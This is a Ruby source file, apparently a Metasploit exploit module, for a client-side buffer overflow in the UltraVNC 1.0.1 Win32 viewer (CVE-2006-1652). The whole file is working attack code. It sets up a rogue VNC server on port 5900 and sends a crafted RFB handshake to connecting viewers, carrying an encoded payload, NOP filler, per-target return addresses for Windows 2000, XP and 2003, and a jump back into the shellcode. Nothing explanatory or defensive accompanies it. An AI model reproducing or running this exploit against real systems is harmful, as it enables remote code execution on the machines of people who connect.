74 lines
1.8 KiB
Ruby
74 lines
1.8 KiB
Ruby
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module Msf
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class Exploits::Windows::Vnc::Ultravnc_Client < Exploit::Remote
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include Exploit::Remote::TcpServer
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'UltraVNC 1.0.1 Client Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in UltraVNC Win32
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Viewer 1.0.1 Release.
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},
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'Author' => 'MC',
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 1.0 $',
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'References' =>
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[
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[ 'BID', '17378' ],
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[ 'CVE', '2006-1652' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00",
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'MaxNops' => 0,
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4 English', { 'Ret' => 0x7c2ec68b } ],
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[ 'Windows XP SP2 English', { 'Ret' => 0x77dc15c0 } ],
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[ 'Windows 2003 SP1 English', { 'Ret' => 0x76aa679b } ],
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],
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'Privileged' => false,
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'DisclosureDate' => 'Apr 4 2006',
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'DefaultTarget' => 0))
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The VNCServer daemon port to listen on", 5900 ])
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], self.class)
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end
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def on_client_connect(client)
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return if ((p = regenerate_payload(client)) == nil)
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filler = make_nops(980 - payload.encoded.length)
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rfb = "RFB 003.006\n"
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sploit = "\x00\x00\x00\x00\x00\x00\x04\x06" + "Requires Ultr@VNC Authentication\n"
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sploit << payload.encoded + filler + [target.ret].pack('V')
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sploit << "PASSWORD" + [0xe8, -997].pack('CV')
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client.put(rfb)
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on_client_data(16)
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print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")
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client.put(sploit)
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handler
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service.close_client(client)
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end
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end
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end
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